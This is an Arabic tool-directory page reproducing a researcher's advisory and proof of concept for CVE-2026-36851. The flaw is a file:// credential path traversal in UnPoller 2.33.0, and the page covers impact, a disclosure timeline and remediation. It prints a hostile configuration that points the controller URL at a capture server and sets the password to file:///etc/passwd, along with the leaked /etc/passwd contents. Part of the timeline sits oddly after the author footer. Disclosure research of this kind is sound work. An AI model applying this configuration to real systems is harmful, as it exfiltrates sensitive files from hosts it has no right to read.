Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/syntaxsaiyan/cve-2026-36851
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتالأوراق والأبحاثالتعلم والتعليم
GitHubsyntaxsaiyan/cve-2026-36851

CVE-2026-36851

دليل تفصيلي وإثبات المفهوم لثغرة اجتياز مسار الملف (CVE-2026-36851) في UnPoller 2.33.0

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-36851

اجتياز المسار / قراءة ملف تعسفية في UnPoller الإصدار v2.33.0 عبر بادئة كلمة المرور file://. تُقرأ محتويات الملف من القرص وتُنقل إلى عنوان URL الخاص بوحدة تحكم UniFi المُكوّنة أثناء المصادقة.

CVECVE-2026-36851
المنتجUnPoller v2.33.0 (الإصدارات الأقدم قد تتأثر)
الضعفCWE-22 (اجتياز المسار)، CWE-20 (التحقق غير الصحيح من المُدخلات)
CVSS 3.17.5 عالية — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
المُبلغHector Diaz

ملخص

يدعم UnPoller تحميل بيانات الاعتماد من ملف عندما تبدأ القيمة المُهيأة بـ file://. هذا السلوك مُوثَّق للنشر عبر Docker حيث يرغب المشغلون في وضع كلمات المرور خارج ملفات التكوين النصية العادية. لا يقيِّد التنفيذ أي مسار يمكن قراءته — أي ملف يمكن للعملية الوصول إليه يُعتبر إدخالاً صالحاً. ثم تُرسل هذه المحتويات عبر الشبكة في طلب POST من نوع JSON إلى /api/login على أي عنوان url لوحدة التحكم مُعيَّن في نفس ملف التكوين.

هذا المزيج يُحوِّل قدرة قراءة ملف محليّة إلى قناة تسريب شبكية: يمكن لمهاجم لديه صلاحية الكتابة على up.conf توجيه url نحو خادم يتحكم به، وتسريب ملفات حساسة بشكل متكرر دون صلاحية قراءة مباشرة على تلك الملفات.


خلفية

أدير UnPoller في معملي المنزلي — Docker على Proxmox LXC — لتصدير مقاييس UniFi إلى Grafana إلى جانب بقية مجموعتي. كنت أراجع المشاريع مفتوحة المصدر بحثاً عن ثغرات ويب شائعة. سطح الويب المواجه للمستخدم في UnPoller ضئيل جداً، لذا كانت XSS طريقاً مسدوداً. ملف التكوين المثالي هو حيث بدأ الاكتشاف:

root@kitploit:~
pass = "file:///path/to/password.file"

القصد معقول: الإشارة إلى ملف أسرار بدلاً من تضمين كلمة المرور في up.conf. السؤال الذي كان لدي هو: هل يتحقق UnPoller من ذلك المسار — أم يعامل أي قيمة file:// كمؤشر حرفي لنظام الملفات؟

تتبع المصدر في pkg/inputunifi/input.go (ومعالجة مماثلة في influxunifi، lokiunifi) يُظهر عدم وجود قائمة بيضاء. عندما يبدأ pass أو api_key بـ file://، يتم قص البادئة وتقوم os.ReadFile() بتحميل محتويات الملف بالكامل في حقل بيانات الاعتماد المُستخدم لمصادقة UniFi.


التأثير

السرية: يمكن تسريب أي ملفات قابلة للقراءة على مضيف UnPoller — مثل /etc/passwd، /proc/version، /etc/hosts، إعدادات التطبيق، وربما مواد أساسية اعتماداً على صلاحيات العملية.

متطلبات الهجوم: صلاحية كتابة على تكوين UnPoller (عادةً up.conf). لا حاجة لبيانات اعتماد UniFi لتفعيل القراءة بمجرد تعديل التكوين.

لماذا يهم هذا أكثر من صلاحية وصول محلي للمسؤول: في الاستضافة المشتركة، Kubernetes غير المهيأ بشكل صحيح، أو سيناريوهات sidecar المخترقة، قد يتمكن ممثل بصلاحيات منخفضة من تعديل تكوين الخدمة دون أن يكون قادراً على قراءة الملفات الحساسة مباشرة. هذا السلوك يسد تلك الفجوة عن طريق جعل UnPoller يقرأ الملف وينقله خارجياً.

خارج النطاق: تنفيذ تعليمات برمجية عن بُعد، النزاهة، أو التوافر — هذه مشكلة كشف معلومات مع مسار تسريب واضح.


إثبات المفهوم

تم الاختبار ضد ghcr.io/unpoller/unpoller:latest (v2.33.0) على Debian-based Proxmox LXC مع Docker Compose.

ما لم ينجح

تعيين UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" عبر متغير البيئة لم يُفعِّل السلوك في نشري. ملف التكوين المُركَّب كان مصدر الحقيقة الفعّال.

ما نجح

قمت بتعديل up.conf لتوجيه UnPoller نحو خادم التقاط أتحكم به بدلاً من وحدة تحكم UniFi الإنتاجية لدي:

root@kitploit:~
[unifi.defaults]
  url = "https://x.x.x.x:8443"
  user = "admin"
  pass = "file:///etc/passwd"

بعد docker restart unpoller، بدأت الحاوية في الاتصال بجهاز الاستماع الخاص بي على المنفذ 8443 كل 30 ثانية تقريباً.

التقاط التسريب

قام خادم الالتقاط الأول بتسجيل ترويسات HTTP وبحث عن بيانات اعتماد Authorization: Basic .... أرسل UnPoller طلبات POST /api/login بدون ترويسة Authorization — تتوقع واجهة API الخاصة بـ UniFi JSON في النص:

root@kitploit:~
{"username": "admin", "password": "..."}

قمت بتحديث جهاز الاستماع لقراءة Content-Length، تحليل نص POST، وتسجيل JSON. خلال دقيقة، ظهر /etc/passwd في حقل كلمة المرور:

/etc/passwd مسرب في نص تسجيل الدخول POST

مقتطف السجل:

root@kitploit:~
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'

عمل نفس نمط التكوين مع /proc/version (بصمة النواة/الإصدار):

//proc/version مسرب في نص تسجيل الدخول POST

مثال تكوين خبيث: poc/up.conf.example


الجدول الزمني للإفصاح

التاريخالحدث
2026-02-28تم الاكتشاف والتأكيد في المعمل المنزلي
2026-03-01إخطار البائع (Discord)
2026-03-02

اعترف مُطوِّر UnPoller بسلوك file:// كتسهيل مقصود لمستخدمي Docker، وتساءل عن قابلية الاستغلال دون فصل الصلاحيات بين محرر التكوين ومستخدم العملية. قامت MITRE بتعيين معرف CVE بغض النظر.


الإصلاح

للمشغلين

  • تعامل مع up.conf ونقاط تحميل التكوين كحساسة؛ قيِّد صلاحيات الكتابة.
  • تأكد من أن UnPoller يمكنه الوصول فقط إلى نقاط نهاية موثوقة لوحدة تحكم UniFi.
  • فضِّل أسرار Docker، أسرار Kubernetes، أو حقن بيانات الاعتماد المستند إلى البيئة على مسارات file:// التعسفية حتى يتوفر إصلاح.

للمطورين

  • أزل معالجة file:// غير المقيدة من حقول بيانات الاعتماد، أو فرض قائمة بيضاء صارمة للمسار (مثل فقط تحت /etc/unpoller/secrets/).
  • أغلق بالفشل عندما لا يمكن قراءة ملف أسرار مُهيأ — لا تستبدل بكلمة مرور فارغة بصمت.
  • وثِّق نموذج التهديد إذا بقيت بيانات الاعتماد المستندة إلى الملف مدعومة.

المراجع

  • CVE-2026-36851
  • UnPoller
  • CWE-22 · CWE-20

الترخيص

MIT — انظر LICENSE. مواد إثبات المفهوم في هذا المستودع مُقدَّمة للبحث الأمني المُصرَّح به والتعليم فقط. لا تستخدمها ضد أنظمة لا تملكها أو تفتقر إلى إذن صريح لاختبارها.


Hector Diaz · LinkedIn · hectordiaz.net

تنزيل الأداة
تقديم طلب CVE إلى MITRE
2026-06-05تعيين CVE-2026-36851
2026-07-03نشر التقرير العام